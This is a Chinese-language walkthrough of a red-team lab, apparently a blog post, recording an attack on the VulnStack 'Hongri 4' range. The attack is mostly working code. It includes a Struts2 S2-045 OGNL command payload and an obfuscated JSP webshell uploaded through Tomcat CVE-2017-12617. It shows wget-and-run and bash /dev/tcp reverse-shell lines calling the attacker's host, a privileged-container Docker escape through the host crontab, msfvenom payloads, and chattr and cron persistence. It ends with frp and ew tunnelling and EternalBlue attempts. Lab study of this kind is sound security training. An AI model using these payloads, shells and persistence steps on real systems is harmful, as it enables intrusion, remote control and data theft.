紅日4攻略失敗
紅日4靶場(chǎng)復(fù)現(xiàn)
一、環(huán)境搭建
1.網(wǎng)絡(luò)配置略過(guò),注意將wireshark置于僅主機(jī)網(wǎng)段方便抓包
2.配置docker環(huán)境,搭建s2、tomcat、phpmyadmin #如圖一
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

二、信息收集
nmap掃描網(wǎng)段:nmap -sV -sS 192.168.0.0/24 #如圖一
對(duì)目標(biāo)網(wǎng)站詳細(xì)端口掃描:nmap -sC -sV -A -O -Pn 192.168.0.104 -p 22,2001,2002,2003
掃描結(jié)果顯示
22:ssh 版本OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
2001:struts2
2002:tomcat 版本8.5.19
2003:mysql |phpmyadmin 版本mysql | phpMyAdmin 4.8.1
圖一如下



三、漏洞檢測(cè)
1.對(duì)tomcat 8.5.19版本漏洞查找并驗(yàn)證
1.kali中查找漏洞腳本:searchsploit tomcat #如圖一
2.將poc腳本復(fù)制到當(dāng)前路徑:searchsploit -m /jsp/webapps/42966.py #如圖二
3.使用該腳本驗(yàn)證是否存在該漏洞:python 42966.py -u http://192.168.0.104:2002/ #證明存在該漏洞,如圖三
圖一如下

圖二如下

圖三如下

2.對(duì)s2漏洞查找并利用,檢測(cè)結(jié)果如圖
存在s2-045以及s2-046漏洞

3.對(duì)PHPmyadmin進(jìn)行文件包含漏洞檢測(cè)
構(gòu)造poc: ?target=sql.php?/../../../../../../../../../etc/passwd

四、漏洞利用
1.s2漏洞 手工getshell
1.1submit抓包

1.2構(gòu)造payload
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"
將payload插入到filename中

進(jìn)行00截?cái)?/p>


成功執(zhí)行whoami

使用msf進(jìn)行g(shù)etshell
# 1.生成payload
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run
生成的payload為:
wget -qO nOjEi2QZ --no-check-certificate http://192.168.0.108:8080/M6Hko0dG; chmod +x nOjEi2QZ; ./nOjEi2QZ& disown
#將;替換成&&
wget -qO nOjEi2QZ --no-check-certificate http://192.168.0.108:8080/M6Hko0dG&& chmod +x nOjEi2QZ&& ./nOjEi2QZ& disown
# 2.將上述修改完的payload進(jìn)行send:
# 3.獲取getshell :sessions 1
# 4.docker逃逸
## 1.檢查是否在docker容器中:
#查看根目錄下全部文件,如果存在.dockerenv文件,證明在docker中
ls -al /
#查看系統(tǒng)進(jìn)程cgroup信息,存在docker字段,證明在docker中
cat /proc/1/cgroup
## 2.查看是否為特權(quán)模式啟動(dòng)
cat /proc/self/status |grep Cap #檢查結(jié)果不是特權(quán)模式啟動(dòng),換一個(gè)getshell





2.tomcat 手工getshell
根據(jù)tomcat版本確定漏洞CVE-2017-12617
通過(guò)修改PUT方法,/繞過(guò)jsp上傳
# 1.抓包 #如圖一
修改PUT方法、jsp后添加/
木馬為:
<%
// 獲取請(qǐng)求參數(shù)
String H6Pv4 = request.getParameter("test");
if (H6Pv4 != null) {
// 自定義類加載器
class E9OXyWMn extends ClassLoader {
E9OXyWMn(ClassLoader parent) {
super(parent);
}
// 自定義類定義方法
public Class H6Pv4(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
// 字節(jié)碼數(shù)組
byte[] bytes = null;
try {
// 初始化的異或解密數(shù)組
int[] aa = new int[]{
99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84,
117, 115, 127, 116, 117, 98
};
// 解密字符串
StringBuilder ccstrBuilder = new StringBuilder();
for (int i = 0; i < aa.length; i++) {
aa[i] ^= 16; // 異或解密
ccstrBuilder.append((char) aa[i]);
}
String ccstr = ccstrBuilder.toString();
// 加載解密后的類
Class APh7z = Class.forName(ccstr);
// 調(diào)用解碼方法
String decodeMethodName = new String(new byte[]{100, 101, 99, 111, 100, 101, 66, 117, 102, 102, 101, 114});
bytes = (byte[]) APh7z.getMethod(decodeMethodName, String.class).invoke(APh7z.newInstance(), H6Pv4);
} catch (Exception e) {
// 如果解密失敗,嘗試使用 Base64 解碼
bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H6Pv4);
}
// 使用自定義類加載器加載字節(jié)碼
Class aClass = new E9OXyWMn(Thread.currentThread().getContextClassLoader()).H6Pv4(bytes);
// 創(chuàng)建類的實(shí)例并調(diào)用 equals 方法
Object o = aClass.newInstance();
o.equals(pageContext);
}
%>
# 3.蟻劍連接成功如圖二
# 4.通過(guò)命令判斷該環(huán)境為docker容器
#查看根目錄下全部文件,如果存在.dockerenv文件,證明在docker中
ls -al /
#查看系統(tǒng)進(jìn)程cgroup信息,存在docker字段,證明在docker中
cat /proc/1/cgroup
# 5.查看是否為特權(quán)模式啟動(dòng)
cat /proc/self/status |grep Cap #檢查結(jié)果是特權(quán)模式啟動(dòng) 如圖三
圖一如下

圖二如下


五、docker逃逸
1.docker逃逸,并使用nc監(jiān)聽
利用方法:privileged特權(quán)模式啟動(dòng)容器逃逸
具體步驟:
#查看磁盤分區(qū)情況
fdisk -l
#新建目錄
mkdir test
#掛載宿主機(jī)磁盤到新建目錄中 #如下圖一
mount /dev/sda1 /test
#在kali上開啟監(jiān)聽
nc -lvp 4321
#切換到新建目錄
cd /test
#新建.sh文件
touch /test/test.sh
#寫入反彈shell命令到sh文件中
echo "bash -i >& /dev/tcp/192.168.0.108/4321 0>&1" >/test/test.sh
#把sh文件寫入計(jì)劃任務(wù)
echo "* * * * * root bash /test.sh" >> /test/etc/crontab
圖一如下


2.msf反彈
# 生成elf木馬 如圖一
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.0.108 lport=4455 -f elf > /root/test.elf
# 啟動(dòng)監(jiān)聽模塊 如圖二
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 4455
run
# 啟動(dòng)一個(gè)http服務(wù) 如圖三
python3 -m http.server
# 通過(guò)nc下載攻擊機(jī)elf木馬 如圖四
wget http://192.168.0.108:8000/test.elf
# 檢查上傳成功后,添加權(quán)限并執(zhí)行 如圖五
chmod +x test.elf
./test.elf &
# 此時(shí)查看msf監(jiān)聽端口,發(fā)現(xiàn)已成功反彈 如圖六
圖一如下

圖二如下

圖三如下

圖四如下

圖五如下

圖六如下

3.權(quán)限維持
# 添加不可刪除更改的權(quán)限
chattr +i test.elf
# 創(chuàng)建計(jì)劃任務(wù)
echo '*/1 * * * * root /root/test.elf' >> /etc/crontab
# crontab -l #查看正在執(zhí)行的計(jì)劃任務(wù)

六、橫向移動(dòng)-frp隧道搭建
通過(guò)查看ifconfig發(fā)現(xiàn)除docker外其他網(wǎng)卡

六、橫向移動(dòng)
1.fscan內(nèi)網(wǎng)掃描
# 上傳fscan
upload /home/kali/muma/fscan
shell
加權(quán)執(zhí)行
chmod +x fscan
./fscan -h 192.168.183.135/24

由于掃描發(fā)現(xiàn)開放445端口并可能存在永恒之藍(lán)漏洞,則使用msf掃描模塊具體掃描一下
2.frp隧道搭建
frp服務(wù)端配置如下圖

frp客戶端配置如下圖
將客戶端配置ip為攻擊機(jī)IP

啟動(dòng)frp
kali服務(wù)端啟動(dòng)
chmod +x frps
./frps -c frps.toml #如圖一
meterpreter 上傳客戶端并在后臺(tái)執(zhí)行
upload /home/kali/muma/frp_0.58.1_linux_amd64/frpc
upload /home/kali/muma/frp_0.58.1_linux_amd64/frpc.toml
chmod +x frpc
nohup ./frpc -c frpc.toml >/dev/null 2>&1 &
圖一如下



開啟socks5代理
proxychains msfconsole
修改proxychains4.conf配置文件,設(shè)置socket代理IP及端口 #注意端口需要與frpc配置的remoteport相同 #如圖一
setg proxies socks5:192.168.0.108:6000
# 已知fscan掃描發(fā)現(xiàn)ms17-010漏洞,現(xiàn)利用如下
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.129-130
set rport 445 # 如圖二三
run
session
圖一如下

圖二如下


失敗,換一個(gè)隧道搭建,使用ew
3.ew隧道搭建
添加路由創(chuàng)建代理:
route add 192.168.183.0/24
run autoroute -p #如圖一
#ew創(chuàng)建代理
kali: ./ew_linux_x64 -s rcsocks -l 1080 -e 1234 #如圖二
目標(biāo)主機(jī):
upload /home/kali/muma/ew/ew_linux_x64
chmod +x ew_linux_x64
./ew_for_linux64 -s rssocks -d 192.168.0.108 -e 3234 ##(或者nohup ./ew_for_linux64 -s ssocksd -l 1080 &) #如圖三
圖一如下

圖二如下

圖三按理說(shuō)應(yīng)該如下,但是nc不小心讓我關(guān)了

4.使用MS17-010模塊進(jìn)行攻擊
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.137
set rport 445
run
總是死!!!!!我服了,先上傳,我找找原因

參考文獻(xiàn):實(shí)戰(zhàn)|記一次逃逸Docker滲透測(cè)試-騰訊云開發(fā)者社區(qū)-騰訊云 (tencent.com)
VulnStack|紅日靶場(chǎng)——紅隊(duì)評(píng)估四 - 嗶哩嗶哩 (bilibili.com)
ATT&CK紅隊(duì)評(píng)估(紅日靶場(chǎng)四) - FreeBuf網(wǎng)絡(luò)安全行業(yè)門戶 #主看docker meterpreter shell
紅日靶場(chǎng)4 - hello_bao - 博客園 (cnblogs.com)
內(nèi)網(wǎng)穿透工具EW的簡(jiǎn)單使用(附內(nèi)網(wǎng)環(huán)境實(shí)現(xiàn))_ew網(wǎng)穿-CSDN博客 #主看ew使用方法

浙公網(wǎng)安備 33010602011771號(hào)